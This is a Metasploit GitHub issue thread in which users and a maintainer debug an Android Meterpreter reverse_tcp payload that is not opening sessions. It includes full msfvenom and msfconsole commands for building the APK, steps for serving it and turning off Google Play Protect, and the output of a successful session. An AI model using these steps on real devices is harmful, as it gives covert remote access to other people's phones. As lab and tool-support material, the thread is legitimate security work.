Closed samspalin closed 10 months ago
It looks like there's not enough information to replicate this issue. Please provide any relevant output and logs which may be useful in diagnosing the issue.
This includes:
debug
command in your Metasploit consoleThe easier it is for us to replicate and debug an issue means there's a higher chance of this issue being resolved.
It's not clear what's going wrong; If this is still replicating, running the setg SessionTlvLogging true
command to log the network traffic might be useful for debugging
Hello 👋
I wasn't able to reproduce this issue, however I've used Android Studio on MacOS.
I've tested the payload/android/meterpreter/reverse_tcp
payload on an Android emulator in Android Studio with the following steps:
cd metasploit-framework
bundle install
bundle exec './msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.64.1 LPORT=4444 -o ./tmp/met.apk --platform android -a dalvik'
bundle exec './msfconsole -q'
use payload/android/meterpreter/reverse_tcp
set LHOST 192.168.64.1
set LPORT 4444
to_handler
I've tested this on master
as well as by recompiling the Android payloads using Docker from the metasploit-payloads
repository, both of which worked and got me a working session.
I also used Python's http.server
to download the ./tmp/met.apk
Meterpreter APK on the Android emulator. It's worth pointing out that in my setup, I had to disable Google Play Protect on the emulator, otherwise the Meterprete rAPK would not be installed.
Hello 👋 I wasn't able to reproduce this issue, however I've used Android Studio on MacOS. I've tested the
payload/android/meterpreter/reverse_tcp
payload on an Android emulator in Android Studio with the following steps:
cd metasploit-framework
bundle install
bundle exec './msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.64.1 LPORT=4444 -o ./tmp/met.apk --platform android -a dalvik'
bundle exec './msfconsole -q'
use payload/android/meterpreter/reverse_tcp
set LHOST 192.168.64.1
set LPORT 4444
to_handler
- Install and run the Meterpreter APK file on the Android device
I've tested this on
master
as well as by recompiling the Android payloads using Docker from themetasploit-payloads
repository, both of which worked and got me a working session.I also used Python's
http.server
to download the./tmp/met.apk
Meterpreter APK on the Android emulator. It's worth pointing out that in my setup, I had to disable Google Play Protect on the emulator, otherwise the Meterprete rAPK would not be installed.Log Output
Hello Thank you for this however, I do have some questions. Did you create the payload with this payload/android/meterpreter/reverse_tcp on a kali machine?
Also, where did you run these commands below? Did you run them on kali or on the terminal in the Android studio on MacOS?
"cd metasploit-framework bundle install bundle exec './msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.64.1 LPORT=4444 -o ./tmp/met.apk -- platform android -a dalvik' bundle exec './msfconsole -q' use payload/android/meterpreter/reverse_tcp set LHOST 192.168.64.1 set LPORT 4444 to_handler"
After double checking:
I installed a fresh Kali 2023.3 which seems to be: Kali 2023.3 - 23rd August, 2023 - The third [2023 Kali Rolling release](https://www.kali.org/blog/kali-linux-2023-3-release/). Kernel 6.3.0, Xfce 4.18.4.
(taken from here).
My Kali machine had an IP of 192.168.112.176
which is what I've used as the LHOST.
On my fresh Kali install I called:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.112.176 LPORT=4444 -o /tmp/met.apk
This resulted in the following output:
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10236 bytes
Saved as: /tmp/met.apk
I then called, on Kali in the terminal:
msfconsole
use android/meterpreter/reverse_tcp
set LHOST=192.168.112.176
to_handler
I opened a new tab in my terminal and called python -m http.server
in the /tmp
folder and downloaded the generated met.apk
on the Android device, disabled Google Play Protect, installed and then opened the app.
I received:
msf6 payload(android/meterpreter/reverse_tcp) >
[*] Sending stage (78189 bytes) to 192.168.112.1
[*] Meterpreter session 1 opened (192.168.112.176:4444 -> 192.168.112.1:62288) at 2023-11-17 10:20:03 +0000
Can you provide the output of the output and logs as requested, and potentially setting setg SessionTLVLogging true
?
What's the architecture of the Android device? I wasn't able to replicate this issue on a fresh (Framework: 6.3.27-dev) and on the master branch.
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
I was having this same problem, I managed to solve it by adjusting the metstage.jar waiting time https://github.com/mikelkarma/Meterpreter-Android
Thank you to everyone who assisted with this. I researched further on the recommendation that have were given and discovered it was not an issue with any setups. I realised the link to my apache server that I was using had the metasploit port 4444 which I included and once I removed it my meterpreter session started every time I tried it.
Thank you everyone!
Please I need help. I've searched online but I am not getting anything positive. I am currently running Kali linux 6.3.0-kali1-amd64 on VMware and Android OS version 8.1 on VirtualBox.
I created the payload with msfvenom, to execute it on the target:
I also tried:
I set the payload, host and port on metesploit:
But whenever I attempt to download the Android.apk file from the Android device, it does not work. My meterpreter session shows like this:
Is there something I am missing perhaps or something I did not write correctly?